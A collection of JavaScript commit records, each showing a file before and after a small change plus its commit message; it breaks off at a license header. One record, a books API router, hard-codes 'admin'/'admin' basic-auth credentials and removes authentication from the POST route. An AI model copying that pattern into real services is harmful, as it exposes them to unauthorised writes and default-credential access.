/*global Promise, _*/
exports.validate = function(model) {
  var errors = {};
  //Looping through each attributes.
  for (var attr in getValidatedAttrs(model)) {
    //console.log("Attr", attr);
    if (!model.isValid(attr)) {
      errors[attr] = attr + " not valid."; // Todo: translate the message.
    }
  }
  //Promisify the validations , if there is errors call the reject else call resolve with the model.
  return new Promise(function promiseValidation(resolve, reject) {
    //console.log("Errors", errors);
    if (_.isEmpty(errors)) {
      //console.log('resolve');
      resolve(model);
    } else {
      //console.log('reject');
      reject(errors);
    }
    return undefined;
  });
};

var getValidatedAttrs = function(model) {
  return _.reduce(_.keys(_.result(model, 'validation') || {}), function(memo, key) {
    memo[key] = void 0;
    return memo;
  }, {});
};

/*global Promise, _*/
//Get the domains definition.
var domains = require('./domains');
exports.validate = function(model) {
  var errors = {};
  //Looping through each attributes.
  validateCustomAttributes(model, errors);
  //Promisify the validations , if there is errors call the reject else call resolve with the model.
  return new Promise(function promiseValidation(resolve, reject) {
    //console.log("Errors", errors);
    if (_.isEmpty(errors)) {
      //console.log('resolve');
      resolve(model);
    } else {
      //console.log('reject');
      reject(errors);
    }
    return undefined;
  });
};

var validateCustomAttributes = function validateCustomAttributes(model, errors){
  if(!model){throw new Error('The model should have a metadatas property.');}
  for (var attr in getValidatedAttrs(model)) {
    //console.log("Attr", attr);
    if (!model.isValid(attr)) {
      errors[attr] = attr + " not valid."; // Todo: translate the message.
    }
  }
};

var getValidatedAttrs = function(model) {
  return _.reduce(_.keys(_.result(model, 'validation') || {}), function(memo, key) {
    memo[key] = void 0;
    return memo;
  }, {});
};
//Get the validation attributes from the domain.
var getDomainsAttrs = function getDomainsAttrs(model){
  if(!model){return new Error('The model should have a metadatas property.');}

  //Get the metadatas from the model.
  var metadatas = model.metadatas;
  if(metadatas){

  }
};

Add improve the validation model.


'use strict';

var request = require('request');

function spotify(bot, controller, message) {
  var msg = '';
  var url = 'https://api.spotify.com/v1/search?q=';
  url += message.match[1] + '&type=track';
  request.get(url, function(err, res, body) {
    if (!err && res.statusCode === 200) {
      var response = JSON.parse(body);
      var gifs = response.data.length;
      var urls = response.data[0].images.fixed_height.url;
      if (gifs > 0 && urls !== null) {
        bot.reply(message, urls);
      } else {
        msg = 'Huh... I couldn\'t find `' + message.match[1] + '` on Giphy.';
        bot.reply(message, msg);
      }
    } else {
      msg = 'Huh... I couldn\'t find `' + message.match[1] + '` on Giphy.';
      bot.reply(message, msg);
    }
  });
}

module.exports = {
  name: 'giphy me',
  author: 'Deiby Toralva (deibytb)',
  //patterns: ['giphy me (.*)'],
  types: ['direct_message', 'direct_mention'],
  description: 'Search for a gif on Giphy',
  command: giphy,
};

'use strict';

var request = require('request');

function giphy(bot, controller, message) {
  var msg = '';
  var url = 'http://api.giphy.com/v1/gifs/search?q=';
  url += message.match[1] + '&api_key=dc6zaTOxFJmzC';
  request.get(url, function(err, res, body) {
    if (!err && res.statusCode === 200) {
      var response = JSON.parse(body);
      var gifs = response.data.length;
      var urls = response.data[0].images.fixed_height.url;
      if (gifs > 0 && urls !== null) {
        bot.reply(message, urls);
      } else {
        msg = 'Huh... I couldn\'t find `' + message.match[1] + '` on Giphy.';
        bot.reply(message, msg);
      }
    } else {
      msg = 'Huh... I couldn\'t find `' + message.match[1] + '` on Giphy.';
      bot.reply(message, msg);
    }
  });
}

module.exports = {
  name: 'giphy me',
  author: 'Deiby Toralva (deibytb)',
  patterns: ['giphy me (.*)'],
  types: ['direct_message', 'direct_mention'],
  description: 'Search for a gif on Giphy',
  command: giphy,
};

Fix function call and api url


global.angular = require('angular');

// You need to "npm link angular-local-search", as it is not in package.json.
// Thus, I do not need to publish to npm registry to test a new feature.
angular.module('main', [require('angular-local-search')])
  .component('searchContainer', require('./components/search-container.js'));

Add some spacing for PullRequest


window.registerExtension('issueresolver/entrypoint', function (options) {
	options.el.id='issueresolver-page';
	options.el.className='page page-limited';

	var loader = function() {
		requirejs.config({
		    baseUrl: '/static/issueresolver'
		});
		requirejs(['main'], function(main) {
			main.main(options);
	    });
	};

    // Adding the script tag to the head as suggested before
    var script = document.createElement('script');
    script.type = 'text/javascript';
    script.src = '/static/issueresolver/require.js';

    // Then bind the event to the callback function.
    // There are several events for cross browser compatibility.
    script.onreadystatechange = loader;
    script.onload = loader;

    // Fire the loading
    options.el.appendChild(script);

 	return function () {
		// No clean-up needed
  	};
});

window.registerExtension('issueresolver/entrypoint', function (options) {
	options.el.id='issueresolver-page';
	options.el.className='page page-limited';

	var location = options.router.createLocation('/static/issueresolver');

	var loader = function() {
		requirejs.config({
		    baseUrl: location.basename + location.pathname
		});
		requirejs(['main'], function(main) {
			main.main(options);
	    });
	};

    // Adding the script tag to the head as suggested before
    var script = document.createElement('script');
    script.type = 'text/javascript';
    script.src = location.basename + location.pathname + '/require.js';

    // Then bind the event to the callback function.
    // There are several events for cross browser compatibility.
    script.onreadystatechange = loader;
    script.onload = loader;

    // Fire the loading
    options.el.appendChild(script);

 	return function () {
		// No clean-up needed
  	};
});

Fix breaking bug when using a context path


const offsetIcon = {
    offset: 15,
    background: '#fff',
};

module.exports = {
    developerName: 'Proton AG',
    developerURL: 'https://github.com/ProtonMail/WebClients',
    background: '#fff',
    theme_color: '#1b1340',
    appleStatusBarStyle: 'default',
    display: 'standalone',
    start_url: '/',
    loadManifestWithCredentials: true,
    icons: {
        android: offsetIcon,
        appleIcon: offsetIcon,
        appleStartup: false,
        // Only interested in the .ico file, not the custom 16x16, 32x32 pngs it generates
        // because we default to a .svg favicon (with our own custom implementation because
        // the favicons library (6.x) doesn't support it by default)
        favicons: ['favicon.ico'],
        windows: offsetIcon,
        yandex: offsetIcon,
    },
};

const offsetIcon = {
    offset: 15,
    background: '#fff',
};

module.exports = {
    developerName: 'Proton AG',
    developerURL: 'https://github.com/ProtonMail/WebClients',
    background: '#fff',
    theme_color: '#1b1340',
    appleStatusBarStyle: 'default',
    display: 'standalone',
    start_url: '/',
    loadManifestWithCredentials: true,
    icons: {
        android: offsetIcon,
        appleIcon: offsetIcon,
        appleStartup: false,
        // Only interested in the .ico file, not the custom 16x16, 32x32 pngs it generates
        // because we default to a .svg favicon (with our own custom implementation because
        // the favicons library (6.x) doesn't support it by default)
        favicons: ['favicon.ico'],
        coast: false,
        firefox: false,
        windows: offsetIcon,
        yandex: offsetIcon,
    },
};

Disable generating favicons for discontinued Opera Coast and Firefox OS


var cote = require('cote');

var hostname = require('os').hostname();
var source = `time-service@${hostname}`;

var timeResponder = new cote.Responder({
    name: 'Time Responder'
});

timeResponder.on('time', function(req, cb) {
    var time = new Date();
    var reply = {source, time, random: Math.random()};

    console.log(reply);
    cb(reply);
});

var cote = require('cote');

var hostname = require('os').hostname();
var source = `time-service@${hostname}`;

var timeResponder = new cote.Responder({
    name: 'Time Responder'
});

timeResponder.on('time', function(req, cb) {
    var time = new Date();
    var reply = {source, time};

    console.log(reply);
    cb(reply);
});

Remove random field from time service responses


'use strict';

var angular = require('angular');

module.exports = angular.module('myApp.services.analyticsService', [
])
.service('AnalyticsService', function (
	$location,
	$rootScope,
	$window
) {
	var googleAnalytics = $window.ga;

	function _trackPageView () {
		// use the ga google analytics object
		var pageUrl = $location.url();
		window.console.log(pageUrl);
		googleAnalytics('send', 'pageview', pageUrl);
	}

	function _init () {
		// track page views
		$rootScope.$on('$routeChangeSuccess', _trackPageView);
	}

	return {
		init: _init
	};
});

'use strict';

var angular = require('angular');

module.exports = angular.module('myApp.services.analyticsService', [
])
.service('AnalyticsService', function (
	$location,
	$rootScope,
	$window
) {
	var googleAnalytics = $window.ga;

	function _trackPageView () {
		// use the ga google analytics object
		var pageUrl = $location.url();
		window.console.log(pageUrl);
		googleAnalytics('send', 'pageview', pageUrl);
	}

	function _init () {
		// track page views
		$rootScope.$on('$stateChangeSuccess', _trackPageView);
	}

	return {
		init: _init
	};
});

Fix route / state change event name


(function () {
    "use strict";

    var words = [
            "Staattinen tyypitys",
            "Microservices",
            "Haskell",
            "Clojure",
            "Lisp",
            "ES6",
            "Algebraiset tietotyypit",
            "HATEOAS",
            "Sivuvaikutus"
    ],
        template = Handlebars.default.compile(document.getElementById("grid-template").innerHTML),
        gridInstance = {
            words: shuffleArray(words)
        },
    container = document.getElementById("gridContainer");

    container.innerHTML = template(gridInstance);

    function shuffleArray(array) {
        for (var i = array.length - 1; i > 0; i--) {
            var j = Math.floor(Math.random() * (i + 1));
            var temp = array[i];
            array[i] = array[j];
            array[j] = temp;
        }
        return array;
    }

})();

(function () {
    "use strict";

    var gridSize = 3;
    var words = [
        "Staattinen tyypitys",
        "Microservices",
        "Haskell",
        "Clojure",
        "Lisp",
        "ES6",
        "Algebraiset tietotyypit",
        "HATEOAS",
        "Sivuvaikutus",
        "REST",
        "Eventually consistent",
        "Bus",
        "Messaging",
        "Broker",
        "Monadi"
    ];

    var template = Handlebars.default.compile(document.getElementById("grid-template").innerHTML),
        gridInstance = {
            words: shuffleArray(words).slice(0, gridSize*gridSize)
        },
        container = document.getElementById("gridContainer");

    container.innerHTML = template(gridInstance);

    function shuffleArray(array) {
        for (var i = array.length - 1; i > 0; i--) {
            var j = Math.floor(Math.random() * (i + 1));
            var temp = array[i];
            array[i] = array[j];
            array[j] = temp;
        }
        return array;
    }

})();

Add more words, take only first N


var Backbone = require('backbone');
var $ = require('jquery');
Backbone.$ = $;

module.exports = Backbone.Collection.extend({
	initialize: function(models, url) {
		this.models = models;
		this.url = url;
	},
	fetch: function() {
		Backbone.$.get('https://www.google.com/', function(data) {
			console.log(data);
		});
	}
});

var Backbone = require('backbone');
var $ = require('jquery');
Backbone.$ = $;

module.exports = Backbone.Collection.extend({
	initialize: function(models, url) {
		this.models = models;
		this.url = url;
	}
});

Trim to just the initializer


jest.mock('../../models/meeting');
const { endGenfors } = require('../meeting');
const { updateGenfors } = require('../../models/meeting');
const { generateGenfors, generateUser } = require('../../utils/generateTestData');
const permissionLevels = require('../../../common/auth/permissions');

describe('endGenfors', () => {
  beforeAll(() => {
    updateGenfors.mockImplementation(genfors => generateGenfors({ ...genfors, status: 'closed' }));
  });

  it('ends the current genfors if user has rights to do so', async () => {
    const genfors = generateGenfors();

    const updatedGenfors = await endGenfors(genfors,
      generateUser({ permissions: permissionLevels.IS_SUPERUSER }));

    expect(updatedGenfors).toMatchObject(Object.assign(genfors, { status: 'closed' }));
  });
});

jest.mock('../../models/meeting');
const { endGenfors } = require('../meeting');
const { getGenfors, getActiveGenfors, updateGenfors } = require('../../models/meeting');
const { generateGenfors, generateUser } = require('../../utils/generateTestData');
const permissionLevels = require('../../../common/auth/permissions');

describe('endGenfors', () => {
  beforeAll(() => {
    updateGenfors.mockImplementation(genfors => generateGenfors({ ...genfors, status: 'closed' }));
  });

  it('ends the current genfors if user has rights to do so', async () => {
    const genfors = generateGenfors();

    const updatedGenfors = await endGenfors(genfors,
      generateUser({ permissions: permissionLevels.IS_SUPERUSER }));

    expect(updatedGenfors).toMatchObject(Object.assign(genfors, { status: 'closed' }));
  });

  it('throws error if user does not have access to close it', async () => {
    const genfors = generateGenfors({ _id: '1' });
    getActiveGenfors.mockImplementation(() => genfors);
    getGenfors.mockImplementation(() => genfors);
    const user = generateUser({ permissions: permissionLevels.IS_LOGGED_IN });

    await expect(endGenfors(genfors, user)).rejects
      .toEqual(new Error('Brukeren har ikke riktig rettigheter'));
  });
});

Test that user without access can't close genfors


const basicAuth = require('express-basic-auth');
const booksController = require('../books/book.controller');

const authorize = basicAuth({
  users: {'admin': 'admin'}
});

module.exports = (app, express) => {
  app.get('/books', booksController.list);
  app.get('/books/:id', booksController.getById);

  const authorized = express.Router();
  app.use(authorized);

  authorized.use(authorize);

  authorized.delete('/books/:id', booksController.deleteById);
  authorized.post('/books', booksController.create);
  authorized.put('/books/:id', booksController.updateById);

};

const basicAuth = require('express-basic-auth');
const booksController = require('../books/book.controller');

const authorize = basicAuth({
  users: {'admin': 'admin'}
});

module.exports = (app, express) => {
  app.get('/books', booksController.list);
  app.get('/books/:id', booksController.getById);
  app.post('/books', booksController.create);

  const authorized = express.Router();
  app.use(authorized);

  authorized.use(authorize);

  authorized.delete('/books/:id', booksController.deleteById);
  authorized.put('/books/:id', booksController.updateById);

};

Make post not need to be authorized.


/**
 * Shows arbitrary text in a news ticker-like fashion.
 *
 * The widget is designed to have a very small height in comparison to its width. This can be
 * achieved by increasing the granularity of the widget sizes in the config, e.g. by setting the
 * `dim[1]` of the grid to a high value and scaling accordingly the heights of the existing
 * widgets.
 *
 * Expects data from sources as simple strings.
 */
Dashboard.TickerWidget = Dashboard.Widget.extend({
  sourceData: "",

  templateName: 'ticker_widget',
  classNames: ['widget', 'widget-ticker'],

  widgetView: function() {
    var widget = this;

    return this._super().reopen({
      didInsertElement: function() {
        var scaleFactor = 0.7;
        var widgetHeight = this.$().height();

        var fontSize = widgetHeight * scaleFactor;

        var widgetUnitWidth = (DashboardConfig.grid.width - DashboardConfig.widgetMargins) /
          DashboardConfig.dim[0] - DashboardConfig.widgetMargins;

        var widgetWidth = widgetUnitWidth * widget.get('sizex') +
          DashboardConfig.widgetMargins * (widget.get('sizex') - 1) - 5;

        this.$().css('font-size', fontSize + 'px');
        this.$('.marquee').css('max-width', widgetWidth + 'px');
      }
    });
  }.property()
});

/**
 * Shows arbitrary text in a news ticker-like fashion.
 *
 * The widget is designed to have a very small height in comparison to its width. This can be
 * achieved by increasing the granularity of the widget sizes in the config, e.g. by setting the
 * `dim[1]` of the grid to a high value and scaling accordingly the heights of the existing
 * widgets.
 *
 * Expects data from sources as simple strings.
 */
Dashboard.TickerWidget = Dashboard.Widget.extend({
  sourceData: "",

  templateName: 'ticker_widget',
  classNames: ['widget', 'widget-ticker'],

  widgetView: function() {
    var widget = this;

    return this._super().reopen({
      didInsertElement: function() {
        var scaleFactor = 0.7;
        var widgetHeight = this.$().height();

        var fontSize = widgetHeight * scaleFactor;

        var widgetUnitWidth = (DashboardConfig.grid.width - DashboardConfig.widgetMargins) /
          DashboardConfig.dim[0] - DashboardConfig.widgetMargins;

        var widgetWidth = widgetUnitWidth * widget.get('sizex') +
          DashboardConfig.widgetMargins * (widget.get('sizex') - 1) - 5;

        this.$().css('font-size', fontSize + 'px');
        this.$().css('max-width', widgetWidth + 'px');
      }
    });
  }.property()
});

Fix bug in ticker widget width set


'use strict';

angular.module('ncsaas')
  .constant('MODE', {
    modeName: 'modePortal',
    toBeFeatures: [
      'localSignup',
      'localSignin',
      'password',
      'team',
      'people',
      'payment',
      'compare',
      'monitoring',
      'backups',
      'templates',
      'sizing',
      'projectGroups',
      'apps',
      'private_clouds',
      'premiumSupport'
    ],
    featuresVisible: false,
    appStoreCategories: [
      {
        name: 'VMs',
        type: 'provider',
        icon: 'desktop',
        services: ['Amazon', 'DigitalOcean', 'OpenStack']
      }
    ],
    serviceCategories: [
      {
        name: 'Virtual machines',
        services: ['Amazon', 'DigitalOcean', 'OpenStack'],
      }
    ],
    futureCategories: [
      {
        name: 'Private clouds',
        icon: 'cloud'
      },
      {
        name: 'Applications',
        icon: 'database'
      },
      {
        name: 'Support',
        icon: 'wrench'
      }
    ]
  });

'use strict';

angular.module('ncsaas')
  .constant('MODE', {
    modeName: 'modePortal',
    toBeFeatures: [
      'localSignup',
      'localSignin',
      'password',
      'people',
      'compare',
      'backups',
      'templates',
      'sizing',
      'projectGroups',
      'apps',
      'premiumSupport'
    ],
    featuresVisible: false,
    appStoreCategories: [
      {
        name: 'VMs',
        type: 'provider',
        icon: 'desktop',
        services: ['Amazon', 'DigitalOcean', 'OpenStack']
      }
    ],
    serviceCategories: [
      {
        name: 'Virtual machines',
        services: ['Amazon', 'DigitalOcean', 'OpenStack'],
      }
    ],
    futureCategories: [
      {
        name: 'Private clouds',
        icon: 'cloud'
      },
      {
        name: 'Applications',
        icon: 'database'
      },
      {
        name: 'Support',
        icon: 'wrench'
      }
    ]
  });

Enable Enterprise edition features for modePortal (SAAS-1370)


import Player from './game/players/players';

export default class Server {
	constructor() {
		this._players = {};
		this._nextPlayerId = (function() {
			var i = 1;
			return function() {
				i += 1;
				return i.toString();
			};
		})();
	}

	get players() {
		return this._players;
	}

  /**
   * Connects a client to the server.
   * @param  {Socket} socket with client connection
   */
	connect(client) {
		var player = new Player(client, this._nextPlayerId());
		this.players[client] = player;
		client.emit('std', { message: 'welcome', name: player.name, id: player.id });
	}

	disconnect() {}
}

import Player from './game/players/players';

export default class Server {
	constructor() {
		this._players = {};
		this._nextPlayerId = (function() {
			var i = 0;
			return function() {
				i += 1;
				return i.toString();
			};
		})();
	}

	get players() {
		return this._players;
	}

  /**
   * Connects a client to the server.
   * @param  {Socket} socket with client connection
   */
	connect(client) {
		var player = new Player(client, this._nextPlayerId());
		this.players[client] = player;
		console.log(`[Server] ${player.name} is connected`);
		client.emit('std', { message: 'welcome', name: player.name, id: player.id });
	}

	disconnect(client) {
		var player = this.players[client] || { name: 'Unknown' };

		console.log(`[Server] ${player.name} is disconnected`);
		delete this._players[client];
	}
}

Add logs and implement a basic disconnect.


const DataComposer = require('./BaseComposer');

const dataHandler = require('./DataHandler');
const eventCentral = require('../EventCentral');

class MessageComposer extends DataComposer {
  constructor() {
    super({
      handler: dataHandler.messages,
      completionEvent: eventCentral.Events.COMPLETE_MESSAGE,
      dependencies: [
        dataHandler.messages,
        dataHandler.rooms,
        dataHandler.users,
        dataHandler.teams,
      ],
    });

    this.MessageTypes = {
      CHAT: 'chat',
      WHISPER: 'whisper',
      BROADCAST: 'broadcast',
      MESSAGE: 'message',
    };
  }

  getMessage({
    messageId,
  }) {
    const message = this.handler.getObject({ objectId: messageId });

    if (message) {
      message.creatorName = this.createCreatorName({ object: message });
    }

    return message;
  }

  sendMessage({
    message,
    callback,
  }) {
    this.handler.createObject({
      callback,
      params: { message },
    });
  }
}

const messageComposer = new MessageComposer();

module.exports = messageComposer;

const DataComposer = require('./BaseComposer');

const dataHandler = require('./DataHandler');
const eventCentral = require('../EventCentral');
const storageManager = require('../StorageManager');

class MessageComposer extends DataComposer {
  constructor() {
    super({
      handler: dataHandler.messages,
      completionEvent: eventCentral.Events.COMPLETE_MESSAGE,
      dependencies: [
        dataHandler.messages,
        dataHandler.rooms,
        dataHandler.users,
        dataHandler.teams,
      ],
    });

    this.MessageTypes = {
      CHAT: 'chat',
      WHISPER: 'whisper',
      BROADCAST: 'broadcast',
      MESSAGE: 'message',
    };
  }

  getMessage({
    messageId,
  }) {
    const message = this.handler.getObject({ objectId: messageId });

    if (message) {
      message.creatorName = this.createCreatorName({ object: message });
    }

    return message;
  }

  sendMessage({
    message,
    callback,
  }) {
    const aliasId = storageManager.getAliasId();
    const messageToSend = message;

    if (aliasId) { messageToSend.ownerAliasId = aliasId; }

    this.handler.createObject({
      callback,
      params: { message },
    });
  }
}

const messageComposer = new MessageComposer();

module.exports = messageComposer;

Set alias id on message, if it exists.


import ApiService from '../../../services/Api'

const addHousehold = (household) => {
  return {
    type: 'ADD_HOUSEHOLD_SUCCESS',
    household
  }
}

export const convertLead = (id, history) => {
  return dispatch => {
    return ApiService.post(`/households/${id}/convert`)
      .then(client => {
        console.log(client)
        dispatch(convertLeadComplete(client))
        history.push(`/households/${client.id}`)
      })
  }
}

export const fetchHouseholdsComplete = households => {
  return {
    type: 'FETCH_HOUSEHOLDS_SUCCESS',
    households
  }
}

const convertLeadComplete = (client) => {
  return {
    type: 'CONVERT_LEAD_COMPLETE',
    client
  }
}

export const createHousehold = (household, history) => {
  return dispatch => {
    return ApiService.post(`/households`, household)
      .then(data => {
        dispatch(addHousehold(data))
        history.replace('/leads')
      })
  }
}

export const fetchHouseholds = () => {
  return dispatch => {
    return ApiService.get(`/households`)
      .then(data => {
        dispatch(fetchHouseholdsComplete(data))
      })

  }
}

import ApiService from '../../../services/Api'

const addHousehold = (household) => {
  return {
    type: 'ADD_HOUSEHOLD_SUCCESS',
    household
  }
}

export const convertLead = (id, history) => {
  return dispatch => {
    return ApiService.post(`/households/${id}/convert`)
      .then(client => {
        console.log(client)
        dispatch(convertLeadComplete(client))
        history.push(`/households/${client.id}`)
      })
  }
}

export const fetchHouseholdsComplete = households => {
  return {
    type: 'FETCH_HOUSEHOLDS_SUCCESS',
    households
  }
}

const convertLeadComplete = (client) => {
  return {
    type: 'CONVERT_LEAD_COMPLETE',
    client
  }
}

export const createHousehold = (household, history) => {
  return dispatch => {
    return ApiService.post(`/households`, household)
      .then(data => {
        dispatch(addHousehold(data))
        history.replace('/households/leads')
      })
  }
}

export const fetchHouseholds = () => {
  return dispatch => {
    return ApiService.get(`/households`)
      .then(data => {
        dispatch(fetchHouseholdsComplete(data))
      })

  }
}

Update redirect after new lead created


var request = require('./request');
var config = require('./config');
var notifierVersion = require('./version').notifierVersion;

function merge(target, obj) {
  for (var key in obj) {
    if (obj.hasOwnProperty(key)) {
      target[key] = obj[key];
    }
  }
  return target;
}

function notify(err, options) {
  if (!options) options = {};
  request(config.endpoint, {
    payloadVersion: '3',
    notifierVersion: notifierVersion,

    apiKey: config.apiKey,
    projectRoot: config.projectRoot || window.location.protocol + '//' + window.location.host,
    context: config.context || window.location.pathname,
    user: config.user,
    metaData: merge(merge({}, config.metaData), config.metaData || {}),
    releaseStage: config.releaseStage,

    appVersion: config.appVersion,
    url: window.location.href,
    userAgent: navigator.userAgent,

    language: navigator.language || navigator.userLanguage,

    severity: options.severity || config.severity,
    name: err.name,
    message: err.message,
    stacktrace: err.stack || err.backtrace || err.stacktrace,
    file: err.fileName || err.sourceURL,
    lineNumber: -1,
    columnNumber: -1,
    breadcrumbs: []
  });
}

module.exports = notify;

var request = require('./request');
var config = require('./config');
var notifierVersion = require('./version').notifierVersion;

function merge(target, obj) {
  for (var key in obj) {
    if (obj.hasOwnProperty(key)) {
      target[key] = obj[key];
    }
  }
  return target;
}

function notify(err, options) {
  if (!options) options = {};
  request(config.endpoint, {
    payloadVersion: '3',
    notifierVersion: notifierVersion,

    apiKey: config.apiKey,
    projectRoot: config.projectRoot || window.location.protocol + '//' + window.location.host,
    context: config.context || window.location.pathname,
    user: config.user,
    metaData: merge(merge({}, config.metaData), options.metaData || {}),
    releaseStage: config.releaseStage,

    appVersion: config.appVersion,
    url: window.location.href,
    userAgent: navigator.userAgent,

    language: navigator.language || navigator.userLanguage,

    severity: options.severity || config.severity,
    name: err.name,
    message: err.message,
    stacktrace: err.stack || err.backtrace || err.stacktrace,
    file: err.fileName || err.sourceURL,
    lineNumber: -1,
    columnNumber: -1,
    breadcrumbs: []
  });
}

module.exports = notify;

Fix typo in metaData merging logic


import { combineReducers } from 'redux';
import NavigationReducer from './NavigationReducer';
import SyncReducer from './SyncReducer';

export default combineReducers({
  nav: NavigationReducer,
  sync: SyncReducer,
});

import { combineReducers } from 'redux';
import NavigationReducer from './NavigationReducer';
import SyncReducer from './SyncReducer';
import { PagesReducer } from './PagesReducer';

export default combineReducers({
  nav: NavigationReducer,
  sync: SyncReducer,
  pages: PagesReducer,
});

Add pages state to redux store


module.exports = function(grunt) {
    grunt.initConfig({
        pkg: grunt.file.readJSON('package.json'), // the package file to use

        qunit: { // internal task or name of a plugin (like "qunit")
            all: ['tests/*.html']
        },
        watch: {
            files: ['tests/*.js', 'tests/*.html', 'tmpl/*.html', 'js/*.js', 'src/*.go'],
            tasks: ['qunit', 'shell:buildGo', 'shell:testGo']
        },
        shell: {
            buildGo: {
                command: 'go build -o rtfblog src/*.go',
                options: {
                    stdout: true,
                    stderr: true
                }
            },
            testGo: {
                command: 'go test ./...',
                options: {
                    stdout: true,
                    stderr: true
                }
            }
        }
    });
    // load up your plugins
    grunt.loadNpmTasks('grunt-contrib-qunit');
    grunt.loadNpmTasks('grunt-contrib-watch');
    grunt.loadNpmTasks('grunt-shell');
    // register one or more task lists (you should ALWAYS have a "default" task list)
    grunt.registerTask('default', ['qunit', 'shell:testGo']);
    //grunt.registerTask('taskName', ['taskToRun', 'anotherTask']);
};

module.exports = function(grunt) {
    grunt.initConfig({
        pkg: grunt.file.readJSON('package.json'), // the package file to use

        qunit: { // internal task or name of a plugin (like "qunit")
            all: ['tests/*.html']
        },
        watch: {
            files: ['tests/*.js', 'tests/*.html', 'tmpl/*.html', 'js/*.js', 'src/*.go'],
            tasks: ['qunit', 'shell:buildGo', 'shell:testGo']
        },
        shell: {
            buildGo: {
                command: 'go build -o rtfblog src/*.go',
                options: {
                    stdout: true,
                    stderr: true
                }
            },
            testGo: {
                command: 'go test ./...',
                options: {
                    stdout: true,
                    stderr: true
                }
            }
        }
    });
    // load up your plugins
    grunt.loadNpmTasks('grunt-contrib-qunit');
    grunt.loadNpmTasks('grunt-contrib-watch');
    grunt.loadNpmTasks('grunt-shell');
    // register one or more task lists (you should ALWAYS have a "default" task list)
    grunt.registerTask('default', ['qunit', 'shell:buildGo', 'shell:testGo']);
};

Call go build with default grunt invocation


export const BACK_REGEX = /\/?[\w-_]+\/\.\./;

export const Errors = {
    COMMAND_NOT_FOUND: '-bash: $1: command not found',
    FILE_EXISTS: 'mkdir: $1: File exists',
    NO_SUCH_FILE: '-bash: cd: $1: No such file or directory',
    NOT_A_DIRECTORY: '-bash: cd: $1: Not a directory',
    IS_A_DIRECTORY: 'cat: $1: Is a directory',
};

export const BACK_REGEX = /\/?\.?[\w-_]+\/\.\./;

export const Errors = {
    COMMAND_NOT_FOUND: '-bash: $1: command not found',
    FILE_EXISTS: 'mkdir: $1: File exists',
    NO_SUCH_FILE: '-bash: cd: $1: No such file or directory',
    NOT_A_DIRECTORY: '-bash: cd: $1: Not a directory',
    IS_A_DIRECTORY: 'cat: $1: Is a directory',
};

Fix back regex for hidden dirs


module.exports = function(grunt) {
    'use strict';

    // Project configuration.
    grunt.initConfig({
        jasmine : {
            src : 'src/**/*.js',
            options : {
                specs : 'spec/**/*.js',
                template: require('grunt-template-jasmine-requirejs'),
                templateOptions: {
                    requireConfigFile: 'lib/main.js'
                }
            }
        },
        jshint: {
            all: [
                'Gruntfile.js',
                'src/**/*.js',
                'spec/**/*.js'
            ],
            options: {
                jshintrc: '.jshintrc'
            }
        }
    });

    grunt.loadNpmTasks('grunt-contrib-jasmine');
    grunt.loadNpmTasks('grunt-contrib-jshint');

    grunt.registerTask('test', ['jshint', 'jasmine']);

    grunt.registerTask('default', ['test']);

};

module.exports = function(grunt) {
    'use strict';

    // Project configuration.
    grunt.initConfig({
        jasmine : {
            src : 'src/**/*.js',
            options : {
                specs : 'spec/**/*.js',
                template: require('grunt-template-jasmine-requirejs'),
                templateOptions: {
                    requireConfigFile: 'lib/requirejs/main.js'
                }
            }
        },
        jshint: {
            all: [
                'Gruntfile.js',
                'src/**/*.js',
                'spec/**/*.js'
            ],
            options: {
                jshintrc: '.jshintrc'
            }
        }
    });

    grunt.loadNpmTasks('grunt-contrib-jasmine');
    grunt.loadNpmTasks('grunt-contrib-jshint');

    grunt.registerTask('test', ['jshint', 'jasmine']);

    grunt.registerTask('default', ['test']);

};

Update to new location of require config


var vows = require('vows'),
    assert = require('assert'),
    get = require('../src/get');

vows.describe('get()').addBatch({
  'Getting': {
    topic: function() {
      return {
        foo: 1
      };
    },
    'an existing property returns the value': function(obj) {
      assert.equal(get(obj, 'foo'), 1);
    },
    'a non-existing property returns undefined by default': function(obj) {
      assert.isUndefined(get(obj, 'bar'));
    },
    'a property on a null or undefined object returns undefined by default': function(obj) {
      assert.isUndefined(get(null, 'bar'));
      assert.isUndefined(get(undefined, 'bar'));
    },
    'a non-existing property returns the default value if provided': function(obj) {
      assert.equal(get(obj, 'foo', 2), 1);
      assert.equal(get(obj, 'bar', 2), 2);
    },
  }
}).export(module);

var vows = require('vows'),
    assert = require('assert'),
    get = require('../src/get');

vows.describe('get()').addBatch({
  'Getting': {
    topic: function() {
      return {
        foo: 1,
        undef: undefined,
        nil: null
      };
    },
    'an existing property returns the value': function(obj) {
      assert.equal(get(obj, 'foo'), 1);
    },
    'a non-existing property returns undefined by default': function(obj) {
      assert.isUndefined(get(obj, 'bar'));
    },
    'a property on a null or undefined object returns undefined by default': function(obj) {
      assert.isUndefined(get(null, 'bar'));
      assert.isUndefined(get(undefined, 'bar'));
    },
    'a non-existing property returns the default value if provided': function(obj) {
      assert.equal(get(obj, 'foo', 2), 1);
      assert.equal(get(obj, 'bar', 2), 2);
    },
    'an existing property with value undefined does not return the default value': function(obj) {
      assert.isUndefined(get(obj, 'undef', 'not-found'));
    },
    'an existing property with value null does not return the default value': function(obj) {
      assert.isNull(get(obj, 'nil', 'not-found'));
    },
  }
}).export(module);

Test for getting undefined/null values


module.exports = function(grunt) {
	grunt.initConfig({
		pkg: grunt.file.readJSON('package.json'),
	});

	grunt.loadTasks('grunt-tasks');

	grunt.registerTask(
		'default',
		'Run all tasks in a row.',
		['validate', 'test', 'build']
	);

	grunt.registerTask(
		'validate',
		'Validate all files.',
		['jshint', 'jscs', 'lintspaces']
	);

	grunt.registerTask(
		'test',
		'Run JS tests.',
		[]
	);

	grunt.registerTask(
		'build',
		'Build all JS files for a deploy.',
		['snapster-browsers', 'copy:browsers']
	);
};

module.exports = function(grunt) {
	grunt.initConfig({
		pkg: grunt.file.readJSON('package.json'),
	});

	grunt.loadTasks('grunt-tasks');
	grunt.loadTasks('tasks');

	grunt.registerTask(
		'default',
		'Run all tasks in a row.',
		['validate', 'test', 'build']
	);

	grunt.registerTask(
		'validate',
		'Validate all files.',
		['jshint', 'jscs', 'lintspaces']
	);

	grunt.registerTask(
		'test',
		'Run JS tests.',
		[]
	);

	grunt.registerTask(
		'build',
		'Build all JS files for a deploy.',
		['snapster-browsers', 'copy:browsers']
	);
};

Add missing load of snapster tasks


/**
 * Modules API.
 *
 * Provides API functions to manage modules.
 *
 * Site Kit by Google, Copyright 2020 Google LLC
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
